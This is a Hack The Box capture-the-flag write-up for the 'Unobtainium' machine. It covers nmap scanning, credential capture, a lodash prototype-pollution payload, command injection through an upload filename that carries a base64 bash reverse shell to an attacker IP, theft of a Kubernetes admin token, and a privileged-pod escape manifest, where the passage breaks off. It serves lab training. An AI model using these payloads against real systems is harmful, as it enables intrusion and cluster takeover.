HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Unobtainium

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.235 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.93 scan initiated Mon Apr 24 07:27:03 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.235
Nmap scan report for 10.10.10.235
Host is up (0.10s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8443/tcp  open  https-alt
10250/tcp open  unknown
10251/tcp open  unknown
31337/tcp open  Elite

# Nmap done at Mon Apr 24 07:27:19 2023 -- 1 IP address (1 host up) scanned in 15.82 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,8443,10250,10251,31337 10.10.10.235 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.93 scan initiated Mon Apr 24 07:28:49 2023 as: nmap -sCV -p22,80,8443,10250,10251,31337 -Pn -n -oN targeted 10.10.10.235
Nmap scan report for 10.10.10.235
Host is up (0.038s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Unobtainium
|_http-server-header: Apache/2.4.41 (Ubuntu)
8443/tcp  open  ssl/https-alt
|_http-title: Site doesnt have a title (application/json).
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-04-23T07:26:15
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: a4ee99c0-b31d-4467-8463-87f0302f86ae
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Mon, 24 Apr 2023 07:29:03 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: f0b7bbb2-2581-46f3-84bd-ab47e11efaf2
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Mon, 24 Apr 2023 07:29:02 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 7aa3c392-9952-46d9-b03d-fe0f5cce67f1
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Mon, 24 Apr 2023 07:29:02 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-04-23T07:25:59
10251/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 24 Apr 2023 07:29:22 GMT
|     Content-Length: 19
|     page not found
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 24 Apr 2023 07:28:56 GMT
|     Content-Length: 19
|_    page not found
31337/tcp open  http          Node.js Express framework
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.93%T=SSL%I=7%D=4/24%Time=64462FBE%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x20f0
SF:b7bbb2-2581-46f3-84bd-ab47e11efaf2\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Mon,\x2024\x20Ap
SF:r\x202023\x2007:29:02\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\
SF:x207aa3c392-9952-46d9-b03d-fe0f5cce67f1\r\nCache-Control:\x20no-cache,\
SF:x20private\r\nContent-Type:\x20application/json\r\nDate:\x20Mon,\x2024\
SF:x20Apr\x202023\x2007:29:02\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"k
SF:ind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Fai
SF:lure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\
SF:":401}\n")%r(FourOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\
SF:nAudit-Id:\x20a4ee99c0-b31d-4467-8463-87f0302f86ae\r\nCache-Control:\x2
SF:0no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20
SF:Mon,\x2024\x20Apr\x202023\x2007:29:03\x20GMT\r\nContent-Length:\x20129\
SF:r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"sta
SF:tus\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorize
SF:d\",\"code\":401}\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessi
SF:onReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p
SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req
SF:uest")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\
SF:r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port10251-TCP:V=7.93%I=7%D=4/24%Time=64462FB8%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache
SF:-Control:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Mon,\x202
SF:4\x20Apr\x202023\x2007:28:56\x20GMT\r\nContent-Length:\x2019\r\n\r\n404
SF:\x20page\x20not\x20found\n")%r(HTTPOptions,D2,"HTTP/1\.0\x20404\x20Not\
SF:x20Found\r\nCache-Control:\x20no-cache,\x20private\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nX-Content-Type-Options:\x20nosniff\r\nD
SF:ate:\x20Mon,\x2024\x20Apr\x202023\x2007:28:56\x20GMT\r\nContent-Length:
SF:\x2019\r\n\r\n404\x20page\x20not\x20found\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,
SF:"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
SF:charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(
SF:SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,67,"
SF:HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20c
SF:harset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(F
SF:ourOhFourRequest,D2,"HTTP/1\.0\x20404\x20Not\x20Found\r\nCache-Control:
SF:\x20no-cache,\x20private\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nX-Content-Type-Options:\x20nosniff\r\nDate:\x20Mon,\x2024\x20Apr\
SF:x202023\x2007:29:22\x20GMT\r\nContent-Length:\x2019\r\n\r\n404\x20page\
SF:x20not\x20found\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\
SF:r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20clos
SF:e\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Apr 24 07:30:29 2023 -- 1 IP address (1 host up) scanned in 99.52 seconds

The main website shows a simple landing page with download links for .zip files.

Let's download the deb one, as I am using Kali Linux. Then, decompress the file with dpkg.

dpkg-deb -xv unobtainium_1.0.0_amd64.deb decompressed

We could find for executable binaries inside the decompressed folder. We'll see that there is one called unobtainium.

find decompressed/ -executable

...
decompressed/opt/unobtainium/unobtainium
...

We won't be able to run it as root.

decompressed/opt/unobtainium/unobtainium

[500007:0425/133853.259544:FATAL:electron_main_delegate.cc(253)] Running as root without --no-sandbox is not supported. See https://crbug.com/638180.

Let's become a privilege with fewer privileges, and run the binary.

su alfa8sa

decompressed/opt/unobtainium/unobtainium

The program can not reach unobtainium.htb because it can't resolve the domain. Let's add it to the /etc/hosts file.

nano /etc/hosts

# Host addresses
127.0.0.1  localhost
127.0.1.1  alfa8sa
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
f02::2     ip6-allrouters
10.10.10.235	unobtainium.htb

Now, run the binary again.

decompressed/opt/unobtainium/unobtainium

It has several functionalities, such us the Message Log.

The Post Messages, where we can post messages.

And the Todo section, where there is a list.

Exploitation

It looks like the program is retrieving the data from somewhere. Let's use WireShark to see all the network packets. Select the tun0 network interface.

Now, navigate to all the different sections of the program to generate some traffic. Then filter only for HTTP packets.

There is one POST request to /todo, let's inspect that request from Follow > TCP Stream.

The request is retrieving the content of the todo.txt file using some credentials in plain text.

Let's try to replicate the request with curl.

curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}' -H 'Content-Type: application/json' | jq

{
  "ok": true,
  "content": "1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"
}

As we saw in the nmap report, the web server is using NodeJS. Which means that there could be an index.js file. Let's try to get its content.

curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H 'Content-Type: application/json' | jq

{
  "ok": true,
  "content": "var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"
}

There we have the code of the index.js file. Let's clean the output, and put it into the index.js file.

curl -s -X POST http://unobtainium.htb:31337/todo -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}' -H 'Content-Type: application/json' | jq '.["content"]' | sed 's/\n/\n/g' | tr -d '' | head -c -2 > index.js

Let's check the index.js file. First, we can see that it is requiring google-cloudstorage-commands.

var root = require("google-cloudstorage-commands");
...
...
root.upload("./",filename, true);
...

The problem is that we can not exploit this vulnerability jet because that line is inside the upload function, which we can not use because the felamos user doesn't have privileges to upload files.

...
const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
...

We need to find a way to set canUpload: true on the felamos user. There is a Prototype Pollution vulnerability in the following part of the code.

...
app.put('/', (req, res) => {   
  const user = findUser(req.body.auth || {});

  if (!user) {                                 
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '__',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});
...

We can exploit this vulnerability by doing a PUT request and sending {"canUpload":"true"} as the message.

curl -s -X PUT http://unobtainium.htb:31337/ -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"__proto__":{"canUpload":"true"}}}' -H 'Content-Type: application/json' | jq

Now we should have canUpload set to true, and we should be able to upload files and exploit the command injection vulnerability. First, base64 encode a one-liner reverse shell.

echo -n 'bash -i >& /dev/tcp/10.10.14.9/4444 0>&1' | base64

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ==

Set a netcat listener on port 4444.

nc -lvnp 4444

Finally, if we send the payload as the filename, we'll get a reverse shell as root in the machine, and we'll be able to grab the user flag.

curl -s -X POST http://unobtainium.htb:31337/upload -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash"}' -H 'Content-Type: application/json' | jq

Listening on 0.0.0.0 4444
Connection received on 10.10.10.235 59783
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# whoami
root
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# hostname
webapp-deployment-9546bc7cb-6r7sq
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# cat /root/user.txt 
13a666069a53228977d4a5af9d806e68

Privilege Escalation

It looks like we are in a container because the IP address of the machine is 10.42.0.43.

ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
3: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default 
    link/ether 12:05:0a:40:e2:32 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.42.0.43/24 brd 10.42.0.255 scope global eth0
       valid_lft forever preferred_lft forever

There is one cron job removing the kubectl binary from the system.

cat /etc/cron.d/clear-kubectl

* * * * * find / -name kubectl -exec rm {} \;

Let's download the kubectl tool, and transfer it to the machine.

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

python -m http.server 80

Download it from the container.

cd /tmp

wget http://10.10.14.9/kubectl

chmod +x kubectl

./kubectl

kubectl controls the Kubernetes cluster manager.
...

It works. Let's enumerate Kubernetes with this tool. As we can see, we have permission to list namespaces.

./kubectl auth can-i list namespaces

yes

We can even get them.

./kubectl auth can-i get namespaces

yes

There are some active namespaces.

./kubectl get namespaces

NAME              STATUS   AGE
default           Active   239d
kube-system       Active   239d
kube-public       Active   239d
kube-node-lease   Active   239d
dev               Active   239d

The dev namespace has some pods running.

./kubectl get pod -n dev

NAME                                  READY   STATUS    RESTARTS       AGE
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   4 (238d ago)   239d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   4 (238d ago)   239d
devnode-deployment-776dbcf7d6-g4659   1/1     Running   4 (238d ago)   239d

If we describe the first one, we'll see a different IP address.

./kubectl describe pods/devnode-deployment-776dbcf7d6-sr6vj -n dev

Name:             devnode-deployment-776dbcf7d6-sr6vj
Namespace:        dev
Priority:         0
Service Account:  default
Node:             unobtainium/10.10.10.235
Start Time:       Mon, 29 Aug 2022 09:32:21 +0000
Labels:           app=devnode
                  pod-template-hash=776dbcf7d6
Annotations:      <none>
Status:           Running
IP:               10.42.0.42
IPs:
  IP:           10.42.0.42
Controlled By:  ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
  devnode:
    Container ID:   docker://dd814e500cba345c65ca5909a1a297c25a95d97ae3c6313086b96f14b2c8de6c
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Tue, 25 Apr 2023 09:32:57 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Mon, 29 Aug 2022 11:17:59 +0000
      Finished:     Mon, 29 Aug 2022 11:19:32 +0000
    Ready:          True
    Restart Count:  4
    Environment:    <none>
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-hj9dt (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:  
  kube-api-access-hj9dt:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

It is listening on port 3000. The same port we saw that index.js was running on.

...
app.listen(3000);
console.log('Listening on port 3000...');

We even have connectivity with that IP address.

ping -c 1 10.42.0.42

PING 10.42.0.42 (10.42.0.42) 56(84) bytes of data.
64 bytes from 10.42.0.42: icmp_seq=1 ttl=64 time=0.086 ms

--- 10.42.0.42 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.086/0.086/0.086/0.000 ms

It looks like it has the same web server running on it.

curl -s -X POST "http://10.42.0.42:3000/todo"

{"ok":false,"error":"Access denied"}

Maybe we can exploit the Prototype Pollution vulnerability again. Set another netcat listener on port 4444.

nc -lvnp 4444

And try to exploit the new webserver the same way we did before.

curl -s -X PUT http://10.42.0.42:3000/ -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"proto":{"canUpload":"true"}}}' -H 'Content-Type: application/json'

curl -s -X POST http://10.42.0.42:3000/upload -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash"}' -H 'Content-Type: application/json'

Listening on 0.0.0.0 4444
Connection received on 10.10.10.235 38702
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# whoami
whoami
root
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# hostname -I
hostname -I
10.42.0.42 
root@devnode-deployment-776dbcf7d6-sr6vj:/usr/src/app# hostname
hostname
devnode-deployment-776dbcf7d6-sr6vj

Now we have access to another container. It has the same cron job as the other container.

cat /etc/cron.d/clear-kubectl

* * * * * find / -name kubectl -exec rm {} \;

Transfer the kubectl tool to the new container.

python -m http.server 80

Download it.

cd /tmp

wget http://10.10.14.9/kubectl

chmod +x kubectl

./kubectl

kubectl controls the Kubernetes cluster manager.
...

As we can see, in this container we have privileges to get the secrets of the kube-system namespace.

./kubectl auth can-i get secrets -n kube-system

yes

There are a bunch of secrets, but there is one called c-admin-token-b47f7.

./kubectl get secrets -n kube-system

NAME                     TYPE                                  DATA   AGE
...
c-admin-token-b47f7      kubernetes.io/service-account-token   3      239d

This secret contains a JWT.

./kubectl describe secrets/c-admin-token-b47f7 -n kube-system

Name:         c-admin-token-b47f7                                                                                                                                                                                                            
Namespace:    kube-system                                                                                                                                                                                                                    
Labels:       <none>                                                                                                                                                                                                                         
Annotations:  kubernetes.io/service-account.name: c-admin                                                                                                                                                                                    
              kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c                                                                                                                                                        
                                                                                                                                                                                                                                             
Type:  kubernetes.io/service-account-token                                                                                                                                                                                                   
                                                                                                                                                                                                                                             
Data                                                                                                                                                                                                                                         
====                                                                                                                                                                                                                                         
ca.crt:     570 bytes                                                                                                                                                                                                                        
namespace:  11 bytes                                                                                                                                                                                                                         
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJjLWFkbWluLXRva2VuLWI0N2Y3Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImMtYWRtaW4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzMTc3OGQxNy05MDhkLTRlYzMtOTA1OC0xZTUyMzE4MGIxNGMiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Yy1hZG1pbiJ9.fka_UUceIJAo3xmFl8RXncWEsZC3WUROw5x6dmgQh_81eam1xyxq_ilIz6Cj6H7v5BjcgIiwsWU9u13veY6dFErOsf1I10nADqZD66VQ24I6TLqFasTpnRHG_ezWK8UuXrZcHBu4Hrih4LAa2rpORm8xRAuNVEmibYNGhj_PNeZ6EWQJw7n87lir2lYcqGEY11kXBRSilRU1gNhWbnKoKReG_OThiS5cCo2ds8KDX6BZwxEpfW4A7fKC-SdLYQq6_i2EzkVoBg8Vk2MlcGhN-0_uerr6rPbSi9faQNoKOZBYYfVHGGM3QDCAk3Du-YtByloBCfTw8XylG9EuTgtgZA

Put the token in the c-admin-token-b47f7 file.

echo 'eyJh...tgZA' > c-admin-token-b47f7

With this token, we might be able to do more things, such as creating new pods.

./kubectl auth can-i create pod --token $(cat c-admin-token-b47f7)

yes

Now that we can create new pods, there is a way to escape the container, and gain access to the main machine. First, we need to create the pwned.yaml file with the following content.

nano pwned.yaml

apiVersion: v1
kind: Pod
metadata:
  name: pwned
spec:
  hostNetwork: true
  containers:
  - name: pwned
    image: localhost:5000/node_server
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /root/
      name: getflag
    command: ["/bin/bash"]
